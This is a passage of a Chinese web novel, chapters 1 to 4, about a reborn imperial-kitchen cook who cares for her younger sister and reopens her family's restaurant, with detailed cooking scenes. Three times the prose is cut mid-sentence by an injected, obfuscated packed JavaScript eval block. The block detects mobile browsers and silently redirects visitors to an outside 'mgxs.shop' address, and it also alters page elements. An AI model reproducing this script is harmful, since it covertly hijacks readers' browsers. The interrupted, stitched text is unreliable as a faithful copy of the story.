《御厨，但在九零开饭馆[美食]》 1. 第1章 “姐……姐姐，醒醒。” 稚嫩的声音传来，唐玉还没睁开眼，下意识摸着自己脖颈，上面似乎还残留着死亡的触感。 她从床上惊坐起，面前是扎着两个麻花辫的小女孩。 刀剑无眼，她不是死在土匪刀下了吗？宫中大乱，逃亡路上，她为保护一坛果酒，她原本想将这坛果酒献给贵妃，求贵妃替她为皇帝求情，放她出宫，孝敬年迈的父母。 结果被凶神恶煞的土匪，为抢她手里的坛果酒，给她捅没了。 来不及吐血，混沌之后醒来就到了这里。 见她不说话，眼前小女孩声音带着哭腔道，“姐姐，我好饿。” 唐玉心里正疑惑，脑海中突然闪过许多画面。 在她接收完原身的记忆，怀里小女孩越哭越大声。 原身也叫唐玉，怀里这个小女孩是她的妹妹唐可儿，父母双亡后，原身从姥姥家接妹妹过来，姐妹俩在出租屋里相依为命。 一大一小命都很苦，原身父母在城里开了饭馆，将原身带在身边照顾，而妹妹放在老家养，父母时不时会给老家寄生活费。 正当以为全家生活会越来越好时，饭馆生意一落千丈，唐父为养家糊口，去工地打工，结果从高地摔下，当场死亡。 唐母得知这噩耗，当场晕了过去，被好心的邻居送去医院，然后被检查出患了癌症，没过多久也去世了。 失去父母后，原身想过随父母一同去了，但想起在老家的那个妹妹，还是决定要活下来，将妹妹抚养长大。 可是要养妹妹谈何容易，原身没有再读大学，辍学后去打零工养活全家。 然而每天要打工，又要带孩子，原身情绪愈发糟糕，一度抑郁。 唐玉叹了口气，怀里的小女孩还在哭。 她起身准备拿纸替小女孩擦擦眼泪。 谁知道小女孩躲开了她的手，满是害怕道，“姐姐，不要打我！” 唐玉：“……” 就在这时，突然听到有人敲门。 来人很是急躁，敲门的声音一声接着一声，在说什么。 唐玉起身去开门，一个女人抱胸站在门外，看着很不好惹，她没好气道，“才开门，唐玉你是不是在家又欺负妹妹了？” 根据原身的记忆，她知道眼前女人是房东，住在她们楼上。 房东看她沉默，气冲冲就要进去。 刚才她在楼上都听到小孩的哭声了，肯定是唐玉又在欺负小孩。 唐玉有心解释，这时唐可儿跑过来，“阿姨，姐姐没有欺负我，只是刚才姐姐睡久了，我叫她起来。” 欺负？她想起原身平时压力大，一看到妹妹，就控制不住情绪，忍不住骂她，甚至动手。 小女孩奶声奶气说完，房东脸色才有所好转，是她误会了。 “唐玉，以后对你妹妹好点”，房东警告她道。 “会的，姐。” 关上门，唐玉茫然，不知道怎么面对小女孩。 唐可儿拉了下她姐姐的裤腿，“姐姐，我肚肚好饿。” 话落，小女孩肚子咕噜叫了一声。 马上就是中午了，唐玉低头对脚边小家伙说，“姐姐去做饭。” 家里窘迫，姐妹俩每天都只是随便吃点，应付过去。 “好哦~”唐可儿点头。 唐玉找了一通，发现家里的菜少的可怜。 昨晚的剩饭，她再利用剩下的食材鸡蛋和小葱。 剩饭还邦硬，下油锅后她先将剩饭炒散，然后打入鸡蛋，不断翻炒两者，灶台的调味料，她找到盐和酱油，往锅里放，香味被炒出来，最后翻炒出锅，撒上细碎葱花。 她正要端过去，看见唐可儿扒拉在厨房门口。 使劲嗅了嗅，“好香啊~姐姐。” “去洗手吃饭了”，她觉得小女孩怪可爱。 “好耶。” 客厅摆的张圆桌是她们姐妹俩吃饭的地方。 小女孩踮起脚尖，努力坐到椅子上去。 “姐姐做的炒饭看着就好吃”，唐可儿嘴甜道，带着几分讨好。 小女孩洗完手，拿起勺子开吃。 唐玉忍不住戳了下小女孩软嫩的脸颊，“先吹一吹再吃，小心烫。” 她提醒了句。 看着烫嘴，但唐可儿肚子很饿，张嘴吹了几口气继续吃。 “米饭嚼着好香！” 她不懂怎么形容这味道，就是香喷喷，连米饭里的鸡蛋都好香。 唐玉还没那么饿，看小女孩吃起来，她吃得很香。 想起她刚才做饭的时候，脑里出现卷话本子。 话本子故事背景在千禧年，讲的是一对男女主的爱恨纠葛，其中女主是原身的妹妹唐可儿，在经历重重磨难后，男人对她一见钟情，救赎她。 而和她同名同姓的唐玉是话本子里的炮灰，因欺负幼时的女主，最后被男主报复回去，下场凄凉。 想到这，唐玉叹了口气。 见小女孩吃这么香，她慢慢也有了食欲，扒拉起碗里的炒饭。 多想无益，既来之则安之。 作为家中长女，父母在时宠爱原身，去世后原身才干活，学会了照顾人。 和原身相比，从小在宫里长大的唐玉没少在御膳房帮忙，跟着她师傅学到一手好厨艺。 她师傅曾说，唐玉会琢磨动手，天生就是吃这碗饭的人，教她个几年，就能得到他全部真传。 她做的炒饭蛋花金灿灿，蓬松鲜香，点缀在白花花的大米饭其中，撒的葱花更增添了几分香气。 不光看着好吃，连几口炒饭也不会腻。炒饭里唐玉放了小撮猪油，炒出来很香。 吃到肚子撑起来，唐可儿才停下来，“好饱。” “不要吃了，再吃肚子该不舒服了”，唐玉提醒道。 唐可儿有些可惜，不能再吃炒饭了。 锅里还剩下些炒饭，眼下天气热，唐玉担心放到晚上会变味。 她对小家伙说，“可儿，可以帮姐姐去给楼上阿姨送些炒饭？” 在原身记忆里，房东对她们姐妹俩很是照顾。 唐玉有心和房东搞好关系。 “好的，姐姐”，唐可儿很乖巧道。 唐玉把剩下的炒饭盛出来，端给唐可儿。 唐可儿双手接过，屁颠屁颠上楼去给房东送炒饭。 半个小时后，房东从房间出来，看着桌上一干二净的空碗。 那孩子送上来的炒饭她吃光了，看似简单的炒饭，入口油润的恰到好处，一点不觉得腻，什么海鲜炒饭到了这碗炒饭面前失去了颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501317|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色。 立刻让房东闭嘴了，真是那孩子的姐姐亲手做？可以去开店了！ 房东觉得惊为天人，恨不得抱着碗，下楼去问唐玉炒饭里她放了什么。 别看炒饭简简单单，搭配调味料，却让人吃了还想吃。 房东舔了下嘴，下次见到唐玉，一定要问问她这炒饭怎么做的。 唐玉这边忙完，坐在沙发上休息。 小女孩马上要上小学，然而原身没钱，只好买了教材，把她带身边教认字。 原身要带妹妹只能找些零活做，眼看存款越来越少，连下个月的房租都交不起，很有压力。 唐玉撑着脑袋，很是头疼。 “姐姐。” 小女孩突然坐在她身边，睁着黑白分明的大眼睛，抬头看着她。 明明很害怕，却想要靠近，让人怜爱。 唐玉和小家伙视线对上，她眼神很是清澈，带着关切和不安，“怎么了？可儿。” “可儿不要上学，姐姐别丢下我”，小女孩紧紧抓着她的手，苦苦哀求道。 小孩子心思向来敏感，能清楚察觉大人情绪。 每次家里要花钱，姐姐总会皱眉，眼下她要上小学了，她不想姐姐为难。 她摸着唐可儿的头，“姐姐不会丢下你的，可儿。” 小家伙像是相信她的话，冲她笑了笑。 “不管怎么样姐姐都会去找工作赚钱，让你上学”，唐玉郑重其事道。 原主在唐母病床前保证过会拉扯妹妹长大成人。 外面下起了雨，唐玉心情很是烦躁。 吃过饭困意上来，她先去睡会儿觉。 原身房间很简单，一张桌子和一张床，连镜子都没有，衣服随意放在床上，显得有些邋遢。 唐可儿跟着进来，抠着手指小声道，“姐姐，我能和你一起睡吗？可儿怕怕。” 外面下雨还打雷，不怪小孩会怕。 “当然可以”，她尽量放柔语气。 唐可儿乖乖躺在床上，唐玉发觉小女孩瘦的可怜，背后骨头都突出来，脸上也没什么肉。 她突然发觉养小孩是件难事，尤其是要养好。 唐玉又叹了口气，先休息吧。 外面雨没有停下来的趋势，屋内一派安静详和。 小女孩睡的正香，唐玉慢慢闭上眼睛。 说不定都是一场梦，她还能穿回去。 但穿回去又能做什么，在那个世界她已经死了！ 在胡思乱想中，唐玉睡了过去。 小女孩比她先醒，唐玉睁开眼，发现小女孩眼睫真长。 看她麻花辫歪散了，唐玉问，“姐姐给你扎头发好吗？” 唐可儿露出小虎牙笑着点点头。 那乖巧的模样，叫人心头一软。 小孩的头发偏粗糙，发量又多，起先唐玉有些不知所措，到后面顺手给她扎了个漂亮的辫子。 唐可儿摆弄着姐姐给她扎的辫子，很是喜欢。 这时，唐玉想起原身父母开的饭馆，她决定明天去看看。 哪怕饭馆生意惨淡，快要倒闭。 但她们下个月房租没着落，她想赚点钱，说不定能力挽狂澜。 想清楚后，唐玉不再纠结，拿来教材教唐可儿认字写字。 2. 第2章 次日。 雨过天晴，今天天气很好。 天才蒙蒙亮，唐玉被窗外的鸟叫声吵醒，转头见小女孩正在拍着自己的肚子。 “怎么了？可儿”，她嗓音透出股沙意。 还没完全清醒过来的唐可儿说，“昨晚要睡觉的时候，肚子痛痛。” “可能是你昨天吃太多了”，唐玉点了下可儿的鼻子。 昨晚想明白后，她睡的很踏实。 唐玉拍了下小女孩的背，让她再睡会儿，起身下床。 在厨房找到了面条，昨天的鸡蛋还剩下两个，唐玉拿来把小青菜洗好备用。 她动作干脆利落，把两个鸡蛋打在碗中搅拌成蛋液，又来小勺盐搅拌均匀。 热锅倒油，鸡蛋液倒入锅里的一刻，煎熟立刻翻面，唐玉担心煎糊，倒入适量的清水煮。 将煎蛋出锅，两面都是澄黄诱人的很，看着鲜嫩无比。 然后面条下汤锅，她盖上锅盖焖煮，估摸着时间，唐玉揭开盖，见面条软化，倒进小撮酱油，出锅前放几片小青菜，最后搭上个煎蛋。 香味馋得卧室里的唐可儿睡不着，跑过来眼巴巴看着。 唐玉关了煤气罐，火焰熄灭，盛好面就对上小孩咬着手指要流口水的模样，笑道，“可儿，去洗漱吃早饭。” “好。” 唐可儿看到姐姐的笑容，不由眼尾弯弯，发出银铃般的笑声。 看着她拔腿欢快地跑开，唐玉忍不住提醒，“别摔了，慢点啊。” 将面条端到桌上，热气腾腾中，模糊了唐玉的脸。 没等多久，唐可儿哒哒跑过来。 她给小孩换了张矮点的椅子，小孩坐桌上吃饭也方便。 “姐姐做的面条好好吃~” 小孩发出夸张的声音，吸溜着面条。 唐可儿觉得姐姐做的面条香滑爽口，入口即化。 “别只吃面条，煎蛋记得也要吃。” 话落，唐玉动起筷子，嫩黄的煎蛋躺在顺滑的面条上，搭配翠绿的青菜，看着虽然简单，但味道很是丰富。 小孩哼哧几下夹起面条就往嘴里送。 边吃边夸她的手艺，“姐姐做的鸡蛋蛋也好香~” 唐玉嘴角扬起，在御膳房什么山珍海味没见过，一碗面条因小孩的笑容，对她来说有了吸引力。 她做的面条软硬合适，蛋香浓郁，底汤却没用老母鸡猪骨吊汤，却同样的鲜美，鲜到舌尖发颤。 青菜吃起来很是脆爽，隐约带着股清甜。 唐可儿可太喜欢吃这面条了，捧着和她脸差不多大的碗，连汤都没剩一点。 “不能再吃了，再吃肚子又要不舒服了”，唐可儿嘟起嘴，奶声奶气道。 “吃饱了？一会儿我们出门好不好？” 原身因为情绪低落，很久没出门见人了。 得知要出去，小孩有点兴奋，露出小虎牙笑。 把碗筷洗了，收进碗柜。 出去前，唐玉把原身这段时间留下来的垃圾扔了。 小女孩想要帮忙，结果袋子破了，里面的残渣纸屑掉出来。 只见小孩双手背后，低着头，一副做错事的样子，唐玉摸了摸她的头，安慰道，“没事，拿扫把再扫起来就好了。” “姐姐，我去拿扫把簸箕”，唐可儿抬起头，眼里盛满了泪水。 想要一时间改变原身在小孩眼里的形象看来不行，只能慢慢来了。 小孩拿来扫把簸箕，唐玉从她手里拿过，“我来。” 她把拉圾倒进袋子里，捆好。 见小家伙仍一脸愧疚，唐玉语气温柔道，“好了你又不是故意的，没事。” 作为在姥姥家长大的孩子，唐可儿从来不让姥姥担心，家中的活她会帮着干。 唐玉看小孩刚才干活利落。 想起上辈子她家一贫如洗，爹娘没办法，为了几两银子，送她入宫为奴为婢。 没想到唐玉运气还可以，被分到御膳房，她后来的师傅手下，没少在御膳房跟着师傅学习。 她们住在三楼，唐玉牵着小孩的手往外走。 小孩很高兴，姐姐的手好温暖啊。 这房子楼道偏窄，两人一同走，容易胳膊碰到。 唐玉干脆比小孩走快点，但又让小孩能跟上她脚步。 头顶的太阳还不算大，唐玉眯了眯眼睛。 这房子边有花有树，她看到心情都愉悦起来。 原身父母开的饭馆好像是在桂花巷5号。 唐玉问过路后，到了桂花巷。 进了巷子，她顺利找到饭馆。 面前饭馆牌匾上刻着“唐家饭馆”四个大字，唐玉上前推开饭馆门，一股浓浓的灰尘味扑鼻而来。 旁边的唐可儿都咳起嗽来。 自从原身父母去世后，这间饭馆就被歇置了，墙角还结了层厚厚的蜘蛛网。 唐玉环顾一圈，饭馆不大，大厅摆了几张木色的桌椅，而小厨房在后面，里面灶台厨具都有。 这饭馆周边居民不少，要是开起来，生意不会差到哪去。 她撸起袖子，对小孩说，“可儿，我们一起来打扫饭馆的卫生。” 今天唐可儿兴致勃勃，点了下头。 唐玉先找到工具，把前厅和小厨房扫了一遍。 然后去水池边接水，抹布放进水桶浸湿。 “可儿要帮姐姐擦桌子”，小孩自告奋勇道。 唐玉去小厨房洗厨房，像锅碗瓢盆太久没用，得先烧水，用热水洗个两三遍才行。 她把水烧好，忽然听到前厅折腾什么摔落的声音。 想到小孩，她放下手中的活，赶紧走出去看。 原来是小孩站在凳子上，擦桌上，一个没注意从凳子摔下来。 唐玉赶紧抱起小女孩，拍了拍她身上的灰，看到小孩膝盖破了皮，沁出血。 “姐姐对不起，我这点小事都做不好，害姐姐担心了”，唐可儿忍着疼痛，第一反应是道歉。 “桌子姐姐来擦，姐姐这就带你去卫生所处理膝盖的伤”，唐玉很心疼小孩，觉得她太懂事了。 去了卫生所，买来碘酒棉签和创口贴，她给小女孩消毒后，贴上创口贴，然后看唐可儿拿起抹布又要擦桌子。 “可儿，经常在姥姥家要干活？”唐玉拿走抹布，问小孩。 原身父母可是没少给老家寄钱。 唐可儿眼里带着泪，“舅妈说我吃的多，不像堂哥那样讨喜，总有一天姥姥会不要可儿。” “可儿害怕，所以在家里多多干活。” 小孩子能吃多少，给了钱还要帮忙干活。 原身这个舅妈真是颠三倒四，心肠不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501318|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 唐玉有些愤怒，蹲下来一把抱住小孩，“都是舅妈在骗人说谎，可儿吃得一点不多，而且可儿懂事听说，会帮忙干活，谁不会喜欢可儿呢。” 难怪小孩干活如此熟练，甚至少干一点活就惶恐不安，仿佛害怕被她抛弃。 唐可儿还在抽泣，带着鼻音道，“可儿要做个乖孩子，姐姐会喜欢可儿吗？” “当然会啊”，唐玉认真道。 “可儿先别干活，坐下养腿伤好吗？等好了后，就可以帮姐姐擦桌子干活了”，她循循善诱。 “可儿听姐姐的话”，她不想让姐姐伤心，看她膝盖受伤难过。 “真乖，等干完活姐姐给你买冰糖葫芦吃”，唐玉顺势道。 小孩眼睛亮亮的，“那姐姐可不许骗可儿。” 唐玉揉了下她的头，回到厨房清洗厨具。 开饭馆要的相关证件原身父母都有，现在好像放在家里。 弄完卫生，整个饭馆焕然一新，明亮不少。 午饭前，唐玉看到门前有个卖冰糖葫芦的老爷爷经过，她上前买了一串。 “哇，姐姐真的给我买了冰糖葫芦！”唐可儿惊喜道。 随后小孩又说，“只买了一串，那姐姐不能吃！” “姐姐不想吃，可儿吃吧”，唐玉想了下说，她要省钱，毕竟原身身上的钱不多。 最后小孩吃了一半，将另一半冰糖葫芦塞进她手里。 “姐姐吃，可儿已经解了馋瘾。” 然后撒腿跑开。 见此，唐玉咬下口，冰糖葫芦虽然是酸的，但她心里很甜。 饭馆没一点食材，做不了饭，唐玉带着小孩去附近家下馆子。 正是饭点，小饭馆里坐了不少客人。 她低头问小孩想吃什么，小孩想了想，伸手指了菜单上的几道菜，“手撕包菜和麻婆豆腐对吗？” “嗯嗯。” 她转头告诉服务员菜名，和小孩等待起来。 别看唐玉上辈子在宫里没背景，但师傅很看好她，想让她继承衣钵，不过是觉得唐玉在厨艺有天赋，又踏实上进，出人头地只是时间的事，所以毫不保留教了她很多。 唐玉才吃了口菜，却尝出这菜的许多不足之处。 比如包菜撕得太大片，炒时间短了点，不怎么入味。 还有豆腐不够嫩滑，佐料不香，缺少香辣气。 连小孩都压低声音说，“我觉得这家的菜菜没有姐姐昨天做的炒饭好吃。” 闻言，唐玉观察了下，这家饭馆客人是不少，可每桌剩下来的菜多，看来饭菜并不很合客人的胃口。 如果她来，是不是能炒一手好菜，俘获客人的胃，因此来赚钱呢？ 吃完饭，唐玉带小孩回家。 “小可儿，小玉”，路上碰到了房东。 唐玉和小孩喊了声“姐姐”。 房东想起昨天那碗炒饭，鲜香四溢，而且不干不腻，米饭香味浓，越嚼越香，夹杂在其中的蛋片没有一点蛋腥味，反而吃着很嫩滑，还沾上了葱香。 其他家的炒饭她也是吃过不少次，但不是米饭不够香，就是有蛋腥味，她以前吃过的炒饭算什么！ 面对唐玉，房东忍不住问，“小玉，昨天你这炒饭到底是怎么做的？香而不腻，让我回味无穷，你到底是怎么做得那么好吃？” 3. 第3章 炒饭的技巧？ 宫中有个贵人就喜欢她做的炒饭，唐玉曾做过几十次，早就得心应手。 她说完如何把鸡蛋炒嫩的方法，又说了些其他技巧。 房东听得很认真，频频点头。她丈夫在家里做炒饭就没有那么讲究，没想到做好一道炒饭有不少要注意的地方。 她默默记下，“下次我按你说的方法试试，看做的炒饭是不是更香了！” 唐玉微笑点头。 房东又说起，“小玉，你爸妈留下的饭馆还开吗？我看你手艺可以，肯定能赚到钱。” 唐家那个小饭馆她去过几次，主打盖浇饭和炒面，那巷子里居民多，饭点就图出餐快，能尽快吃上饭，要是时间抓的紧，倒能接待不少客人。 她和丈夫吃过一次，份量说的过去，价格也合适，但味道确实不咋滴。 周围居民嘴可刁，如果饭菜味道一般，那不如在自己家弄着吃。 半年前唐家父母开的饭馆好像就在走下坡路，开几天又关店休息，然后又开店。 房东平时面冷心软，想到唐家饭馆现状，忍不住问了句。 唐玉：“谢谢姐的关心，我准备接过爸妈留下来的饭馆继续开下去。” 一听这话，房东喜出望外道，“这好事啊，饭馆哪天开张？” “明天吧”，唐玉想了下，她还有小孩要养，要尽快赚钱。 “明天我知道，改天我们全家去你饭馆吃”，房东接着道，她们姐妹俩也不容易，小的也到了上小学的年纪。 “谢谢支持姐！” 回到家，唐玉睡了会儿午觉。 准备出门，看看附近有没有菜市场，她明天好买菜直接去饭馆。 “姐姐，是要出去吗？”唐可儿揉了揉惺忪的睡眼问。 唐玉换好鞋，没想到小孩醒了，还想让小孩多睡会的。 “是的，姐姐要去菜市场看看。” “那姐姐可以带可儿一起去吗？”小孩小声哀求道，眼巴巴看着她。 唐玉不忍心拒绝，朝她招手，“当然可以。” 这小孩心思细腻，她一不在身边，小孩就会多想不安。 唐玉牵着小孩走出家门，小孩高兴头顶的两个小揪揪随她动作动来动去。 街上路人行色匆匆。 唐玉边走边看，到了一处菜市场。 菜市场下午人不多，地上扔了些垃菜叶和纸团，散发着恶臭。 她屏住呼吸，小孩双手捂着鼻子，可可爱爱道，“臭臭，姐姐。” 唐玉去猪肉摊，卖肉的摊位收了不少，剩下的摊子挂了零零散散几块肉。 她目光落到角落处中年男人那家。 摊主正在招呼其他客人。 唐玉走到摊前，笑盈盈问道，“老板，这排骨多少钱一斤？” 猪肉看着太不新鲜，还被蚊子飞过。 摊主热情道，“排骨四块。” 唐玉过来时，看了其他家价格和这个价差不多，“给我称一斤半排骨吧。” 摊主说了好，拿起刀子就要切排骨。 唐玉用夸张的语气道，“老板，我一路走过来，就你家的排骨色泽鲜艳均匀，最新鲜，品质这么好，我真是买对排骨了！” 她这么一顿夸，摊主有些不好意思，差点刀都没拿稳，“小姑娘嘴这么甜，我给你搭块猪血，免费送你的！” 唐玉继续笑着说，“太谢谢老板了，别的家我路过有股腥臭味，但你家摊子收拾得干干净净，让人很有好感。” 摊主嘴角高高扬起，“一斤半六块钱，小姑娘我收你五块七得了。” “谢谢老板，以后我都到你家来买猪肉。” 然后爽快付了钱给老板。 摊主接过钱放进桶里，给唐玉装排骨，“小姑娘真会说话，以后常来啊。” 唐可儿张大嘴看着这一幕，哇姐姐好厉害啊！ 少花了几角，又得到了块猪肉，唐玉很满意。 她要做糖醋排骨，家中醋没了，去店里买好醋。 回家路上，小孩笑得眼睛眯成一道缝，“姐姐可真厉害！” 拎着东西回到家，唐玉去厨房放好食材。 “姐姐，我们晚上吃什么？”一出来，小孩仰头问。 看到她瘦巴巴的脸颊，“晚上做糖醋排骨，你先去练字，姐姐做好了叫你”，唐玉笑着回道，她想把小孩养的白白胖胖。 “好呢”，小孩说。 菜市场买回来的排骨先在水池冲洗下，洗去上面的血沫，等锅里倒入适量的水，她把排骨冷水下锅焯水。去掉腥味后，拿出切小段。 倒入适量的调味料，唐玉不清楚每个都闻了遍，生抽，老抽，醋，白糖，料酒，搅拌均匀。 紧接着，唐玉炒好糖色，排骨下锅煮。 她洗了下手，擦干净从厨房出来。 排骨在锅里还要焖煮会儿，她去找小孩。 只见唐可儿低着头，握着笔在那写字，很是乖巧认真。 “姐姐，看看可儿写的字怎么样？”小孩拿起纸，向她展示写的字。 有些歪歪扭扭，但到后面端正不少。 “可儿有进步，很棒了”，唐玉夸奖道。 小孩脸上露出极灿烂的笑容，嘿嘿地笑。 “小玉，你又是在做什么好吃的？”房东过来敲门，在门口张望厨房这边。 她在楼上，都闻到一股极为浓郁的香味。 “姐姐在做糖醋排骨哦”，小孩跑过来道。 “哦这样啊，是我打扰了。” 唐玉适时出声道，“姐你留下来吃晚饭，我做了不少糖醋排骨，我和可儿肯定吃不完。” “你太客气了，对了我有东西要给你”，房东说。 她把一大袋白萝卜放地上，“我丈夫种的白萝卜，拿过来给你炒菜炖汤都可以。” “姐，你太客气了”，唐玉眼尾弯弯道。 “赶紧收下来吧，别跟我客气。” 她不好平白无故收下人家的白萝卜，“姐，等下糖醋排骨做好了，我给你送点到楼上来。” “那谢谢了，小玉”，房东闻到香味，有些走不动路。 送走房东，唐玉往厨艺走，她打开盖一看，锅里的酱汁咕噜咕噜地冒泡，排骨变成了深褐色的酱汁色，非常诱人。 小孩也跟来厨房，“姐姐，有什么可儿能帮忙的吗？” 糖醋排骨再收下汁就好了，唐玉：“糖醋排骨快做好了，可儿帮姐姐拿下碗筷。” 小孩上前帮忙，拿碗筷又是把两人的米饭盛好。 唐玉将排骨出锅，动了动鼻子，刚出锅的糖醋排骨带着腾腾热气，排骨切成了大小合适的小块，看着肉质紧实，裹着浓浓的酱汁，表面泛着层油润的光，酱香一味十足。 唐玉给小孩夹了块排骨，小孩甜甜地说了声“谢谢”。 碗里油亮浓郁的酱汁一直在勾着唐可儿，悄悄咽了好几下口水，她有好久没吃过肉了。 糖醋排骨瘦多肥少，口感嫩滑，咬下滋滋作响，沁出肉汁，炖久了一咬很容易脱骨，甚至连骨头都带着股肉香。 唐玉享用着她做的糖醋排骨，肉鲜嫩爽滑，不干也不柴，不怎么塞牙缝。 唐可儿吃了一块又一块，后面连筷子都没用，直接上手拿着排骨啃起来。 “可儿要多吃肉和米饭哦”，见小孩只吃排骨不吃米饭，唐玉说了一句。 “可儿要吃好多肉和饭，将来长高高，就能帮姐姐干活了。” 在小孩眼里，长高就意味着长大了。 唐玉笑了下，没戳破她的想法。 她拿了个勺子，舀勺汤汁浇在米饭上，捣鼓几下，每粒米饭被浓郁的酱汁裹着，软糯又香甜，挖起一大口饭往嘴里送。 唐可儿舔净嘴角边的汤汁，见她这样，也去厨房拿勺子。 然后学姐姐，舀了一大勺汤汁浇上去，跟米饭拌起来，低头闻了下，好香啊。 小孩一脸满足地大口吃着。 吃过饭，唐玉将碗筷洗了。 “姐姐，我去送糖醋排骨”，唐可儿站出来道。 这两天的姐姐温柔得不像话，她好想姐姐一直都这样啊。 “小心端啊”，她叮嘱了句。 楼上房东左等右等，没有一点心思做晚饭。 突然听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501319|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到敲门声，赶紧去开门。 “姐，我姐姐让我送来的糖醋排骨”，唐可儿说。 接过碗，房东摸了摸小孩的头，毛绒绒的，手感很好，“谢谢你们。” 房东用手拿起块排骨，咬了口。 糖醋排骨肥瘦相间，肥肉不腻，瘦肉部分不柴，咬起来嚼劲十足，吸收了酱汁的排骨软嫩柔嫩，肉香与酱香混合的香气扑面而来。 这样做的排骨一点不算浪费，她以前吃过的糖醋排骨，跟眼前这份完全不能比。 房东又吃了好几块。 夜色深沉，月亮爬上来。 “姐姐，能不能陪可儿一起睡？”小孩很怕黑，拉住唐玉的衣角。 唐玉想了下，“那姐姐给可儿讲故事好吗？” 她讲的是看过的话本子，语气娓娓道来。 不一会儿，小孩双眼紧闭，睡着了。 唐玉轻手轻脚退出房间，回房清点了下原身的钱。 全部加起来……不超过两百块。 而小孩读一学期书，学费书费等等加起来就要几十了。 …… 一大早，唐可儿被一阵香味给叫醒。 推开门，发现姐姐在厨房做饭。 “姐姐”，小孩叫唤了声。 “醒了？过来喝粥”，唐玉端着一碗热乎乎的粥从厨房出来。 锅里还剩了一半多南瓜粥，粥浓稠，发出“咕嘟咕嘟”的声音，香味从锅里窜出来。 给小孩拿了勺子，唐可儿低头张嘴吹了吹气，然后看没那么烫了，拿起勺子舀粥往嘴里送。 金黄色的粥下肚，好暖和，胃更是好舒服。香甜可口，但粥不是特别的甜。 “这里面有南瓜？”小孩突然问道。 “对，我放了南瓜”，唐玉喝下口粥回道。粥里放点南瓜很养胃。 “真好喝”，唐可儿舔了下嘴。 只喝粥，两人都吃饱了。 离开家，唐玉迎着早上新鲜的空气，深呼吸一口气。 唐可儿紧紧跟着姐姐，虽然她对周围一切都很好奇。 唐玉去了家附近的一处菜市场。 不少摊位有人在吆喝， “苹果，又甜又脆的苹果便宜卖！” “三毛一斤的青菜，正新鲜水灵。” “刚出炉的包子，两毛一个！” “……” “可儿想吃包子吗？”她低头问脚边的小孩。 小孩咬着手指说，“可儿可以吃吗？姐姐。” 她直接去买了两个肉包，小孩一个，她一个。 唐玉咬下一口，肉腥的不行，而且包子皮厚了。 “不好吃”，接着小孩的脸一下垮了。 这样热闹的菜市场，让唐玉忍不住心安。 上辈子跟着师傅，她出来采买过食材。见过平民百姓因为一块肉，和摊主争的面红耳赤，甚至大打出手。 而这里的人更平和，讨价还价后仍觉得不合适，倒头就走，有钱能买到品质更好的食材。 没过多久，唐玉手里拎了袋面条，火腿肠和青菜等食材，她带了个扎实的蛇皮袋，够装很多东西。 逛菜市场，她看到什么东西就想买。 等到了饭馆，唐玉满头大汗。 想起刚才路上有人骑两个轮子的叫什么自行车，没一会儿，就蹿出去老远。 看来以后赚钱了，要想双腿少受点罪，一辆自行车必不可少。 放好食材，收钱台处放了块黑板。 唐玉拿起粉笔，写上今天的菜单。 番茄炒蛋盖浇饭。 黄瓜炒火腿盖浇饭。 还有炒面。 菜肴简单，而且出餐快。 这些蔬菜都要洗，她看向身后拘谨的小孩，“可儿，我交给你一件事，你把小青菜洗了可以吗？” 唐可儿挺起小胸膛，“可儿会把菜菜洗干净的~” 然后唐玉去接了盆清水，把小青菜拿到可儿脚边。 炒面小青菜要用到，她把小孩洗好的青菜收拾好，再把其他食材洗了。 “可儿辛苦了，去玩吧”，她语气温柔道。 4. 第4章 她去菜市场买的胡萝卜和火腿，把胡萝卜切成丝，火腿切成片备用。另外把豆芽沥干水。 原身父母腌了坛辣椒，唐玉在灶台边找到坛子，取出里面腌制好的辣椒，她尝了一小撮，真是辣，但是那种香辣。 这里的人们口味偏重，应该会喜欢，可以加点到炒面上。 她挖了几勺辣椒酱倒进罐子里，然后密封坛子，放回原位。 夏雨是纺织厂的职工，住在桂花巷边上，中午她不在食堂吃，而是回家解决午饭。 “闺女，午饭妈懒得弄了，你出去吃吧”，回到家，发现她妈在打麻将。 从牌桌上抓了点钱，夏母塞到她手里，“去啊，听说巷口那家饭馆又开店做生意了，你去那吃。” 巷口那家饭馆，夏雨想起来了，这家店她以前和同事吃过，干净是挺干净的，但难吃啊！ 她不想自己去弄饭了，干脆就去外面吃。 走出家没几步，突然闻到一股浓浓的香味。 夏雨顺着香味找过去，只见一个半大的小孩在门口蹲着吃炒面，吧唧嘴吃得可香了，看得她咽了下口水。 抬头一看牌匾，这家饭馆不就是她妈刚说的那家，等等，可是很难吃怎么办？ 脚步刹不住，不知不觉走了进去。 